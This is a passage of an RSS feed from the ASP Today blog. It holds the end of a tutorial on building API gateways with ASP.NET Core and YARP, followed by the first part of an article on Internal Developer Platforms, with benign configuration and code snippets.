&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/207617722?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Shoppers gather at a central mall information desk guiding visitors to stores across the complex. " title="Shoppers gather at a central mall information desk guiding visitors to stores across the complex. " srcset="https://substackcdn.com/image/fetch/$s_!UJ-K!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!UJ-K!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5bc91857-e5af-4787-8d99-2a2f8e2538f9_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we&#8217;ll explore how API Gateways work, how to implement them using <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a>, and how they improve routing, security, scalability, and developer experience in modern distributed systems. </p><h2>Why Microservices Need a Front Door</h2><p>Imagine an online shopping application built using microservices.</p><p>Instead of one application, you now have:</p><ul><li><p>Product Service</p></li><li><p>Orders Service</p></li><li><p>Inventory Service</p></li><li><p>Payment Service</p></li><li><p>Shipping Service</p></li><li><p>Notification Service</p></li></ul><p>If a mobile application communicates directly with every service, several problems appear.</p><p>The client must know:</p><ul><li><p>Where each service lives</p></li><li><p>Which URLs to call</p></li><li><p>Which authentication tokens are required</p></li><li><p>Which service owns which data</p></li></ul><p>Every new microservice increases complexity.</p><p>This quickly becomes difficult to maintain. </p><h2>What Is an API Gateway?</h2><p>An API Gateway sits between clients and your microservices.</p><p>Instead of calling services directly, every request goes through the gateway.</p><pre><code><code>Mobile App
Web App
Desktop App
        &#9474;
        &#9660;
   API Gateway
        &#9474;
 &#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9532;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
 &#9660;      &#9660;        &#9660;
Orders Products Payments</code></code></pre><p>The gateway becomes the single public entry point.</p><p>Clients only need to know one address. </p><h2>Why API Gateways Matter</h2><p>API Gateways simplify communication.</p><p>Instead of exposing every internal service, the gateway handles:</p><ul><li><p>Routing</p></li><li><p>Authentication</p></li><li><p>Authorization</p></li><li><p>Rate limiting</p></li><li><p>Request aggregation</p></li><li><p>Logging</p></li><li><p>Monitoring</p></li><li><p>Response transformation</p></li></ul><p>Microservices remain focused on business logic.</p><p>The gateway handles cross-cutting concerns. </p><h2>Understanding Request Routing</h2><p>The primary responsibility of an API Gateway is routing.</p><p>For example:</p><pre><code><code>/api/products
        &#9474;
        &#9660;
Product Service

/api/orders
        &#9474;
        &#9660;
Orders Service

/api/payments
        &#9474;
        &#9660;
Payment Service</code></code></pre><p>Clients don&#8217;t need to know where services are hosted.</p><p>The gateway forwards requests automatically. </p><h2>Building an API Gateway with ASP.NET Core</h2><p>ASP.NET Core provides several options.</p><p>One of the most popular is <strong>YARP (Yet Another Reverse Proxy)</strong>, developed by Microsoft.</p><p><a href="https://microsoft.github.io/reverse-proxy/">YARP documentation</a></p><p>Install:</p><pre><code><code>dotnet add package Yarp.ReverseProxy</code></code></pre><h2>Configuring YARP</h2><p>Register the reverse proxy.</p><pre><code><code>builder.Services
    .AddReverseProxy()
    .LoadFromConfig(
        builder.Configuration
    .GetSection("ReverseProxy"));</code></code></pre><p>Then enable it.</p><pre><code><code>app.MapReverseProxy();</code></code></pre><p>Your gateway is now ready to forward requests. </p><h2>Configuring Routes</h2><p>Example configuration:</p><pre><code><code>{
  "ReverseProxy": {
    "Routes": {
      "products": {
        "ClusterId": "products",
        "Match": {
          "Path": "/products/{**catch-all}"
        }
      }
    }
  }
}</code></code></pre><p>Clients continue calling one API while YARP forwards traffic to the correct service. </p><h2>Request Aggregation</h2><p>Sometimes a client needs data from multiple services.</p><p>Imagine loading a product page.</p><p>The application needs:</p><ul><li><p>Product details</p></li><li><p>Inventory</p></li><li><p>Reviews</p></li><li><p>Pricing</p></li></ul><p>Without a gateway:</p><p>The browser makes four separate requests.</p><p>With aggregation:</p><p>The browser makes one request.</p><p>The gateway gathers information from multiple services before returning a single response.</p><p>This reduces network traffic and improves performance. </p><h2>Example Aggregation Flow</h2><pre><code><code>Client
   &#9474;
   &#9660;
Gateway
 &#9500;&#9472;&#9472; Product Service
 &#9500;&#9472;&#9472; Inventory Service
 &#9500;&#9472;&#9472; Review Service
 &#9492;&#9472;&#9472; Pricing Service
        &#9474;
        &#9660;
 Combined Response</code></code></pre><p>The client receives one complete response. </p><h2>Authentication at the Gateway</h2><p>One of the biggest advantages of an API Gateway is centralized authentication.</p><p>Instead of every service validating JWT tokens independently, the gateway performs the initial authentication.</p><p>Example:</p><pre><code><code>builder.Services
.AddAuthentication()
.AddJwtBearer();</code></code></pre><p>Only authenticated requests reach internal services.</p><p>This simplifies service development.</p><h2>Authorization</h2><p>Authentication identifies users.</p><p>Authorization determines what they can access.</p><p>Policy-based authorization works well inside gateways.</p><p>Example:</p><pre><code><code>[Authorize(Policy = "Orders.Read")]</code></code></pre><p>Unauthorized requests are rejected before reaching downstream services. </p><h2>Rate Limiting</h2><p>Gateways are an ideal location for rate limiting.</p><p>ASP.NET Core includes built-in support.</p><p>Example:</p><pre><code><code>builder.Services.AddRateLimiter(options =&gt;
{
    options.AddFixedWindowLimiter(
        "api",
        limiter =&gt;
        {
            limiter.PermitLimit = 100;
            limiter.Window =
                TimeSpan.FromMinutes(1);
        });
});</code></code></pre><p>Rate limiting protects services from abuse. </p><h2>Response Caching</h2><p>Frequently requested data can be cached.</p><p>Instead of contacting the Product Service repeatedly, the gateway serves cached responses.</p><p>Benefits include:</p><ul><li><p>Faster responses</p></li><li><p>Reduced backend load</p></li><li><p>Lower infrastructure costs</p></li></ul><p>Caching should be applied carefully to avoid serving stale data. </p><h2>Load Balancing</h2><p>A Product Service may run multiple instances.</p><pre><code><code>Gateway
   &#9474;
 &#9484;&#9472;&#9532;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
 &#9660; &#9660; &#9660;
Instance A
Instance B
Instance C</code></code></pre><p>The gateway distributes traffic across available instances.</p><p>Users experience higher availability without knowing multiple servers exist. </p><h2>Service Discovery</h2><p>Microservices often change location.</p><p>Containers restart.</p><p>Pods move.</p><p>New instances appear.</p><p>Instead of hardcoding addresses, the gateway integrates with service discovery solutions.</p><p>Examples include:</p><ul><li><p>Kubernetes</p></li><li><p>Consul</p></li><li><p>Azure Container Apps</p></li></ul><p>Requests always reach healthy instances. </p><h2>Circuit Breakers</h2><p>If a downstream service fails, the gateway should avoid repeatedly sending requests.</p><p>Circuit breakers temporarily stop traffic to unhealthy services.</p><p>This improves overall system stability.</p><p>It also complements the resilience strategies we explored in previous articles. </p><h2>Logging Requests</h2><p>Every request passes through the gateway.</p><p>This makes it an excellent place to capture:</p><ul><li><p>Request paths</p></li><li><p>Response codes</p></li><li><p>Processing times</p></li><li><p>Client IP addresses</p></li></ul><p>These logs become valuable for troubleshooting. </p><h2>Distributed Tracing</h2><p>The gateway also plays an important role in observability.</p><p>Using OpenTelemetry, it can:</p><ul><li><p>Start trace spans</p></li><li><p>Propagate trace context</p></li><li><p>Record latency</p></li><li><p>Capture downstream service performance</p></li></ul><p>This connects directly with our earlier article on distributed tracing. </p><h2>API Versioning</h2><p>Gateways simplify API evolution.</p><p>Clients may continue using:</p><pre><code><code>/api/v1/orders</code></code></pre><p>While newer clients use:</p><pre><code><code>/api/v2/orders</code></code></pre><p>The gateway routes requests appropriately without exposing internal service complexity. </p><h2>Security Benefits</h2><p>The gateway strengthens security by:</p><ul><li><p>Hiding internal services</p></li><li><p>Centralizing authentication</p></li><li><p>Applying authorization policies</p></li><li><p>Enforcing HTTPS</p></li><li><p>Performing request validation</p></li><li><p>Blocking malicious traffic</p></li></ul><p>Internal services remain inaccessible from the public internet. </p><h2>Common Mistakes</h2><p>Avoid making the gateway responsible for business logic.</p><p>The gateway should coordinate requests.</p><p>Business decisions belong inside services.</p><p>Also avoid:</p><ul><li><p>Creating a single massive gateway</p></li><li><p>Hardcoding routes</p></li><li><p>Ignoring monitoring</p></li><li><p>Forgetting rate limiting</p></li><li><p>Bypassing authentication</p></li></ul><p>A lightweight gateway is easier to maintain. </p><h2>Real-World Example</h2><p>Imagine an airline booking platform.</p><p>Customers use one mobile app.</p><p>Behind the scenes the gateway communicates with:</p><ul><li><p>Flight Service</p></li><li><p>Booking Service</p></li><li><p>Payment Service</p></li><li><p>Loyalty Service</p></li><li><p>Notification Service</p></li></ul><p>The mobile app makes a single request.</p><p>The gateway handles routing, authentication, aggregation, and response formatting.</p><p>The customer experiences one seamless interaction despite multiple backend services working together. </p><h2>How This Fits Your ASP.NET Core Journey</h2><p>Our recent articles explored:</p><ul><li><p>Microservices</p></li><li><p>Zero Trust Architecture</p></li><li><p>Data Protection</p></li><li><p>Advanced Authorization</p></li><li><p>Internal Developer Platforms</p></li></ul><p>API Gateways bring these ideas together.</p><p>They become the secure front door through which every request enters your distributed system.</p><p>They enforce security, simplify communication, improve observability, and create a better experience for both developers and users. </p><h2>Closing Thoughts</h2><p>As applications continue moving toward microservices, API Gateways become an essential architectural component.</p><p>They reduce client complexity, centralize security, simplify routing, and provide a single location for cross-cutting concerns such as authentication, logging, caching, and monitoring.</p><p>ASP.NET Core, together with Microsoft&#8217;s YARP project, provides an excellent foundation for building lightweight, high-performance API Gateways that scale with modern cloud-native applications.</p><p>Rather than exposing dozens of services directly, let your gateway become the intelligent front door that protects, organizes, and simplifies your entire platform. </p><h2>Join The Community</h2><p>Enjoyed this article? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, cloud-native architecture guides, and enterprise development best practices. Join the Substack Chat to discuss modern ASP.NET Core development with developers building scalable applications around the world. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Building Internal Developer Platforms with ASP.NET Core: Tools, APIs, and Automation]]></title><description><![CDATA[Discover how Internal Developer Platforms help teams ship software faster using ASP.NET Core, self-service APIs, automation, and reusable developer tools. #ASPToday #aspnetcore #platformengineering #devops #dotnet]]></description><link>https://www.asptoday.com/p/building-internal-developer-platforms</link><guid isPermaLink="false">https://www.asptoday.com/p/building-internal-developer-platforms</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 14 Jul 2026 15:02:02 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!kRwv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As organizations grow, software development often becomes slower rather than faster. Teams spend increasing amounts of time requesting infrastructure, configuring environments, creating new projects, managing deployments, and solving repetitive operational problems. Internal Developer Platforms (IDPs) address these challenges by providing developers with self-service tools, standardized APIs, reusable templates, and automated workflows that reduce friction and accelerate delivery. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kRwv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kRwv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kRwv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2506893,&quot;alt&quot;:&quot;Developers use a self-service LEGO workshop to instantly build new software projects. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/206658434?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Developers use a self-service LEGO workshop to instantly build new software projects. " title="Developers use a self-service LEGO workshop to instantly build new software projects. " srcset="https://substackcdn.com/image/fetch/$s_!kRwv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!kRwv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F773fce55-8ac3-493a-8c84-3cdf60faee11_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we&#8217;ll explore how to build an Internal Developer Platform using <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> and create a foundation that allows development teams to focus on writing business features instead of managing infrastructure. </p><h2>Why Development Slows as Teams Grow</h2><p>A small startup might have:</p><ul><li><p>Five developers </p></li><li><p>One application </p></li><li><p>One deployment pipeline</p></li></ul><p>Everyone knows where everything is.</p><p>Need a database?</p><p>Someone creates one.</p><p>Need a new API?</p><p>Someone builds it.</p><p>Need production access?</p><p>Just ask.</p><p>Everything works.</p><p>Until it doesn&#8217;t.</p><p>As organizations grow, so do requests.</p><p>Developers begin asking questions like:</p><ul><li><p>Can someone create a Kubernetes namespace?</p></li><li><p>Can I get a SQL database?</p></li><li><p>Who creates <a href="https://www.asptoday.com/p/aspnet-core-and-azure-service-bus">Azure</a> resources?</p></li><li><p>Where do I request secrets?</p></li><li><p>How do I deploy to staging?</p></li><li><p>Which logging standard should I follow?</p></li></ul><p>Eventually engineers spend more time waiting than building. </p><h2>What Is an Internal Developer Platform?</h2><p>An Internal Developer Platform is software built for developers inside an organization.</p><p>Instead of manually requesting resources, developers use a platform to provision them themselves.</p><p>Think of it as an internal app store.</p><p>Instead of installing games, developers request:</p><ul><li><p>New projects</p></li><li><p>Databases</p></li><li><p>Storage accounts</p></li><li><p>API keys</p></li><li><p><a href="https://www.asptoday.com/p/aspnet-core-and-kubernetes-from-development">Kubernetes</a> environments</p></li><li><p>Deployment pipelines</p></li></ul><p>Everything follows company standards automatically. </p><h2>Why Organizations Build Internal Platforms</h2><p>The biggest goal is reducing developer friction.</p><p>Without an IDP:</p><p>Developer writes ticket.</p><p>Operations creates infrastructure.</p><p>Security reviews access.</p><p>Platform team configures deployment.</p><p>Developer waits.</p><p>With an IDP:</p><p>Developer clicks a button.</p><p>Platform performs everything automatically.</p><p>The developer continues working. </p><h2>Platform Engineering vs DevOps</h2><p>These terms are closely related.</p><p>DevOps focuses on collaboration between development and operations.</p><p>Platform Engineering creates products that help developers succeed.</p><p>Instead of manually helping every team, platform engineers build reusable tools.</p><p>Those tools become the Internal Developer Platform. </p><h2>Understanding Self-Service Development</h2><p>Imagine buying groceries.</p><p>Years ago, every item required asking a shop assistant.</p><p>Today we simply use self-checkout.</p><p>Internal platforms work the same way.</p><p>Instead of requesting resources manually, developers provision them independently.</p><p>The platform performs all the complicated work behind the scenes.</p><h2>What Can an Internal Developer Platform Provide?</h2><p>A mature platform might offer:</p><ul><li><p>Project templates</p></li><li><p>API creation</p></li><li><p>Infrastructure provisioning</p></li><li><p>Secret management</p></li><li><p>Logging configuration</p></li><li><p>Monitoring dashboards</p></li><li><p>CI/CD pipelines</p></li><li><p>Deployment approvals</p></li><li><p>Security scanning</p></li><li><p>Documentation</p></li></ul><p>Developers interact with one consistent interface. </p><h2>Why ASP.NET Core Is a Great Choice</h2><p>ASP.NET Core excels at building internal tools.</p><p>It offers:</p><ul><li><p>High performance</p></li><li><p>Cross-platform support</p></li><li><p>Excellent security</p></li><li><p>REST API development</p></li><li><p>Background services</p></li><li><p>Identity integration</p></li><li><p>Cloud-native capabilities</p></li></ul><p>These features make it ideal for building platform APIs. </p><h2>Designing the Platform</h2><p>Think of the platform as multiple services working together.</p><pre><code><code>Developer Portal
        &#9474;
        &#9660;
Platform API
        &#9474;
 &#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9532;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
 &#9660;      &#9660;        &#9660;
Templates Deployments Infrastructure
        &#9474;
        &#9660;
Cloud Resources</code></code></pre><p>Each component has a specific responsibility.</p><p>This separation keeps the platform maintainable. </p><h2>Building the Platform API</h2><p>Everything begins with an API.</p><p>Developers request services through HTTP endpoints.</p><p>Example:</p><pre><code><code>POST /projects</code></code></pre><p>Payload:</p><pre><code><code>{
  "name": "InventoryService",
  "template": "webapi"
}</code></code></pre><p>The platform performs the remaining work automatically. </p><h2>Creating the API</h2><p>Example:</p><pre><code><code>app.MapPost("/projects",
(ProjectRequest request) =&gt;
{
    return Results.Ok(
        $"Creating {request.Name}");
});</code></code></pre><p>Simple APIs often orchestrate much larger workflows. </p><h2>Automating Project Creation</h2><p>Suppose every microservice requires:</p><ul><li><p>Standard folder structure</p></li><li><p>Logging</p></li><li><p>Health checks</p></li><li><p>Docker support</p></li><li><p>OpenTelemetry</p></li><li><p>Authentication</p></li></ul><p>Instead of manually configuring each project, developers choose a template.</p><p>The platform generates everything consistently. </p><h2>Project Templates</h2><p>Templates eliminate repetitive work.</p><p>A template might include:</p><ul><li><p>Authentication configured</p></li><li><p>Swagger enabled</p></li><li><p>Logging configured</p></li><li><p>Dockerfile included</p></li><li><p>CI/CD pipeline ready</p></li><li><p>Unit tests added</p></li></ul><p>Every new service begins with the same high-quality foundation.</p><h2>Managing Templates</h2><p>Templates evolve over time.</p><p>For example:</p><p>Version 1:</p><ul><li><p>.NET 8</p></li><li><p>Basic logging</p></li></ul><p>Version 2:</p><ul><li><p>OpenTelemetry</p></li><li><p>Health checks</p></li><li><p>Distributed tracing</p></li><li><p>Rate limiting</p></li></ul><p>Developers automatically benefit from platform improvements. </p><h2>Infrastructure as Code</h2><p>Infrastructure should never be created manually.</p><p>Instead use:</p><ul><li><p>Bicep</p></li><li><p>Terraform</p></li><li><p>ARM Templates</p></li></ul><p>The platform invokes these tools automatically.</p><p>Developers simply request resources. </p><h2>Provisioning Cloud Resources</h2><p>Imagine a developer needs:</p><ul><li><p>Azure SQL</p></li><li><p>Azure Storage</p></li><li><p>Service Bus</p></li><li><p>Key Vault</p></li></ul><p>Instead of opening multiple Azure portals, they submit one request.</p><p>The platform provisions everything. </p><h2>Background Processing</h2><p>Some operations take several minutes.</p><p>Examples:</p><ul><li><p>Creating Kubernetes clusters</p></li><li><p>Deploying infrastructure</p></li><li><p>Provisioning databases</p></li></ul><p>ASP.NET Core Background Services handle these long-running jobs efficiently.</p><p>Example:</p><pre><code><code>public class ProvisioningWorker
    : BackgroundService
{
    protected override async Task ExecuteAsync(
        CancellationToken token)
    {
        while (!token.IsCancellationRequested)
        {
            await Task.Delay(5000, token);
        }
    }
}</code></code></pre><p>Background workers keep APIs responsive. </p><h2>Building a Developer Portal</h2><p>The portal becomes the front door of the platform.</p><p>Developers can:</p><ul><li><p>Create projects</p></li><li><p>Request environments</p></li><li><p>View deployments</p></li><li><p>Browse documentation</p></li><li><p>Monitor applications</p></li></ul><p>Everything is available from one location. </p><h2>Authentication</h2><p>Only authorized developers should access platform resources.</p><p><a href="https://www.asptoday.com/p/understanding-aspnet-core-identity">ASP.NET Core Identity</a> integrates easily with:</p><ul><li><p>Microsoft Entra ID</p></li><li><p>Azure AD</p></li><li><p>OAuth</p></li><li><p>OpenID Connect</p></li></ul><p>Authentication ensures platform requests remain secure. </p><h2>Authorization</h2><p>Different developers require different permissions.</p><p>Examples:</p><p>Developers</p><ul><li><p>Create projects</p></li></ul><p>Team Leads</p><ul><li><p>Approve production deployments</p></li></ul><p>Platform Engineers</p><ul><li><p>Manage templates</p></li></ul><p>Administrators</p><ul><li><p>Configure infrastructure</p></li></ul><p>Policy-based authorization keeps permissions manageable.</p><p>This builds directly on concepts from our previous article on advanced authorization. </p><h2>API Versioning</h2><p>Internal platforms evolve continuously.</p><p><a href="https://www.asptoday.com/p/exploring-web-api-versioning-in-aspnet">Versioning</a> prevents breaking existing developer workflows.</p><p>Example:</p><pre><code><code>/api/v1/projects

/api/v2/projects</code></code></pre><p>Existing automation continues working while new features are introduced. </p><h2>Logging Platform Activity</h2><p>Everything the platform does should be logged.</p><p>Examples:</p><ul><li><p>Project created</p></li><li><p>Deployment started</p></li><li><p>Database provisioned</p></li><li><p>Secret generated</p></li></ul><p><a href="https://www.asptoday.com/p/building-audit-logging-systems-in">Audit logging</a> becomes especially valuable for compliance and troubleshooting.</p><p>As discussed in our previous article, audit logs provide accountability across complex systems. </p><h2>Monitoring Platform Health</h2><p>An Internal Developer Platform quickly becomes business-critical.</p><p>Monitor:</p><ul><li><p>API availability</p></li><li><p>Provisioning success rate</p></li><li><p>Deployment duration</p></li><li><p>Queue lengths</p></li><li><p>Failed workflows</p></li></ul><p><a href="https://www.asptoday.com/p/aspnet-core-health-checks-keeping">Health checks</a> and OpenTelemetry provide excellent visibility.</p><p>This connects naturally with our recent observability articles. </p><h2>Building for Reuse</h2><p>One of the biggest goals of an IDP is eliminating duplicated effort.</p><p>Instead of every team solving the same problems independently, the platform provides reusable solutions that everyone benefits from.</p><p>This creates consistency across the entire organization. </p><h2>Coming in Part 2</h2><p>Our Internal Developer Platform can now provide developers with self-service tools and standardized project creation, but there&#8217;s still more work to do before it becomes a truly enterprise-ready platform.</p><p>In Part 2, we&#8217;ll automate <a href="https://www.asptoday.com/p/utilizing-azure-devops-for-cicd-in">CI/CD pipelines</a>, provision development and production environments on demand, manage secrets securely, implement deployment approvals and governance, and explore how to scale the platform across multiple teams. We&#8217;ll finish by building a complete real-world Internal Developer Platform that helps developers deliver software faster while maintaining security, consistency, and operational excellence. </p><h2>Closing Thoughts</h2><p>An Internal Developer Platform is much more than a collection of internal tools. It becomes the foundation that enables development teams to work faster, deliver more consistently, and spend less time on repetitive operational tasks. By providing self-service capabilities, standardized templates, automated infrastructure provisioning, and reusable APIs, organizations can reduce bottlenecks while improving security, reliability, and developer experience. As your platform evolves, you can expand it with automated deployment pipelines, environment provisioning, secret management, governance controls, and observability, transforming it into a central hub that supports every stage of the software development lifecycle.</p><h2>Subscribe Now</h2><p>Enjoyed this article? <a href="https://www.asptoday.com/">Subscribe to ASP Today</a> for practical ASP.NET Core tutorials, architecture deep dives, and real-world engineering guides. Join our Substack Chat to 